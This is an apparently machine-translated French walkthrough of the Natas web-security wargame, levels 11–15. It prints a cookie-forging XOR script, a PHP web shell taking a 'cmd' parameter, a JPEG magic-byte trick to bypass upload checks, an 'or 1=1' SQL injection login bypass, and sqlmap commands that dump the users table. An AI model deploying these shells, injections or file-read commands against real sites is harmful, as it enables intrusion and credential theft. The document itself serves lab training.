
Dans cet article, nous traiterons du fonctionnement de certaines identités WEB en utilisant le wargame
Natas comme exemple. Chaque niveau a accÚs au mot de passe de niveau suivant. Tous les mots de passe sont également stockés dans les fichiers / etc / natas_webpass /. Par exemple, le mot de passe de natas5 est stocké dans le fichier / etc / natas_webpass / natas5 et est en lecture seule pour les utilisateurs natas4 et natas5.
Information organisationnelleSurtout pour ceux qui veulent apprendre quelque chose de nouveau et se développer dans l'un des domaines de l'information et de la sécurité informatique, j'écrirai et parlerai des catégories suivantes:
- PWN;
- cryptographie (Crypto);
- technologies de réseau (réseau);
- reverse (Reverse Engineering);
- stéganographie (Stegano);
- recherche et exploitation des vulnérabilités WEB.
En plus de cela, je partagerai mon expérience en criminalistique informatique, analyse de logiciels malveillants et micrologiciels, attaques sur les réseaux sans fil et les réseaux locaux, réalisation de pentests et écriture d'exploits.
Afin que vous puissiez vous renseigner sur les nouveaux articles, logiciels et autres informations, j'ai créé une
chaĂźne dans Telegram et un
groupe pour discuter de tout problÚme dans le domaine de l'ICD. Aussi, je considérerai personnellement vos demandes, questions, suggestions et recommandations
personnelles et répondrai à tout le monde .
Toutes les informations sont fournies à des fins éducatives uniquement. L'auteur de ce document n'assume aucune responsabilité pour tout dommage causé à quelqu'un du fait de l'utilisation des connaissances et des méthodes obtenues à la suite de l'étude de ce document.
niveau 11
Analyser le code:
- le mot de passe sera disponible si la valeur du tableau de données avec la clé showpassword est «yes»;

- le tableau de données est créé par la fonction loadData, dans laquelle les données par défaut sont passées en paramÚtre;


- la fonction loadData charge les valeurs de données à partir d'un cookie (code les données en base64, chiffre xor sur une clé inconnue, décode les données au format json);


- définit les valeurs reçues.
Ce que vous devez faire:
- récupérer la clé de chiffrement XOR:
- prendre des données cryptées à partir d'un cookie;
- décoder base64;
- encoder les données par défaut au format json;
- Proxor a reçu les délais.
- encoder et chiffrer les nouvelles donnĂ©es en utilisant l'algorithme inverse, oĂč showpassword == yes ;
- insérez les nouvelles données dans le cookie et rechargez la page.

<?php function xor_encrypt($in, $k) { $key = $k; $text = $in; $outText = ''; for($i=0;$i<strlen($text);$i++) { $outText .= $text[$i] ^ $key[$i % strlen($key)]; } return $outText; } $old_data_code = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw"; $old_data_decode = array( "showpassword"=>"no", "bgcolor"=>"#ffffff"); $new_data_decode = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff"); $KEY = xor_encrypt(base64_decode($old_data_code), json_encode($old_data_decode)); echo "key: ". $KEY . "\n"; $KEY="qw8J"; $new_data_code = base64_encode(xor_encrypt(json_encode($new_data_decode), $KEY)); echo "new cookie: " . $new_data_code . "\n"; ?>


niveau 12
Lorsque vous enregistrez le fichier sur le site, il est enregistrĂ© sous un nom alĂ©atoire et une extension JPEG. Mais la chose la plus importante est que ce nom est formĂ© et fourni Ă l'utilisateur dans un champ cachĂ© du formulaire cachĂ© avant mĂȘme que le fichier ne soit sĂ©lectionnĂ©, et ensuite il est envoyĂ© au serveur avec le fichier.
TĂąche: crĂ©er php-shell, intercepter la requĂȘte au serveur et
changez le nom du fichier en * .php.
<? echo system($_GET["cmd"]); ?>

Nous utilisons Burp Suite: nous définissons les paramÚtres du proxy du navigateur sur 127.0.0.1:8080. Envoyez le shell. Dans l'onglet Proxy, nous remplaçons la demande.



Nous nous tournons vers notre fichier sur le serveur, en passant des commandes Ă la ligne de commande via le paramĂštre cmd.
cat /etc/natas_webpass/natas13

Ce type de vulnérabilité est classé comme Téléchargement de fichier sans restriction.
Pour crĂ©er un Shell, il est prĂ©fĂ©rable d'utiliser des constantes php, car l'exĂ©cution des fonctions systĂšme peut ĂȘtre interdite par les paramĂštres du serveur.
niveau 13
Lors de l'enregistrement du mĂȘme shell sur le serveur, on nous dit que ce n'est pas une image. Nous analysons le code.

La fonction exif_imagetype est présente.


Pour vérifier le fichier JPEG, cette fonction utilise la fonction interne is_jpeg, qui vérifie les quatre premiers octets du fichier.

Le fait est que l'interpréteur php exécute du code compris entre <? ?>, en sautant tous les autres personnages. Ouvrez le shell du niveau précédent dans l'éditeur hexadécimal et ajoutez les octets 0xFFD8FFE0 au début du fichier.

Envoyez sur le site par analogie avec le niveau précédent et obtenez un mot de passe.

niveau 14
Une erreur courante dans le formulaire d'autorisation. RequĂȘte de base de donnĂ©es:
SELECT * from users where username="username" and password="password";

Il est possible de toujours rendre la demande vraie: login = "admin" ou 1 = 1 - ".

Dans ce cas, ou 1 = 1 renvoie vrai, et le reste de la demande est mis en commentaire:
SELECT * from users where username="admin" or 1=1;
Nous enlevons le mot de passe.

Ce type de vulnérabilité appartient à la catégorie de l'injection SQL.
niveau 15
Sur ce formulaire, nous analysons le fonctionnement de sqlmap. Envoyez une demande et interceptez les donnĂ©es et l'en-tĂȘte HTTP.


Nous sĂ©lectionnons uniquement les informations nĂ©cessaires dans l'en-tĂȘte. Dans ce cas: User-Agent, Referer, Authorization. DĂ©finissez les paramĂštres sqlmap:
- -u "URL"
- --headers = "En-tĂȘtes HTTP, sĂ©parĂ©s par` \ n`"
- --data = "DonnĂ©es de requĂȘte POST"
- --current-db - détermine quelle base de données est utilisée
- --tamper = space2comment - remplacez l'espace par la chaĂźne / ** / (en SQL, c'est la mĂȘme chose)
- --level = (1-5) - niveau de scan
- --risk = (1-3) - risque de numérisation

Sqlmap a déterminé que le paramÚtre de nom d'utilisateur est vulnérable à l'injection aveugle basée sur les booléens et a montré la bonne réponse de la base de données à l'événement correct (dans l'analyse suivante, vous pouvez immédiatement spécifier le paramÚtre vulnérable et le type d'injection: -p nom d'utilisateur et --technique = B).
B: injection SQL aveugle basée sur des booléens
U: injection SQL de requĂȘte UNION
T: injection SQL aveugle basée sur le temps
E: injection SQL basée sur des erreurs
S: injection SQL de requĂȘtes empilĂ©es
Sqlmap a détecté le SGBD MySQL (dans les analyses suivantes, le paramÚtre --dbms = MySQL) et a demandé s'il était nécessaire de déterminer la version de mysql (la valeur par défaut est oui).

Sqlmap a signalé que la version de MySQL> = 5.0.12 (cela est nécessaire pour sélectionner les constantes de l'utilitaire SGBD).

Sqlmap a dĂ©terminĂ© la charge du paramĂštre de nom d'utilisateur et a demandĂ© si d'autres paramĂštres devaient ĂȘtre vĂ©rifiĂ©s (par dĂ©faut, non). Il montre Ă©galement la charge.

Fournit des informations sur le nĆud et, comme nous l'avons demandĂ©, la base de donnĂ©es actuelle: natas15.


Compte tenu des nouvelles données connues, nous apprenons les tables de la base de données natas15:
- -D "base de données"
- --tables - définir des tables

Sqlmap a défini une table d'utilisateurs.

Nous reconnaissons les colonnes du tableau des utilisateurs:
- -T "table"
- --colonnes - définir des colonnes

Sqlmap a défini 2 colonnes.

Nous vidons la table des utilisateurs (option --dump). Le vidage a pris 3 minutes. Nous exécutons la demande en 8 threads (--threads 8) - en conséquence: 1 minute.

Nous enlevons le mot de passe.
Ă suivre. Vous pouvez nous rejoindre sur
Telegram .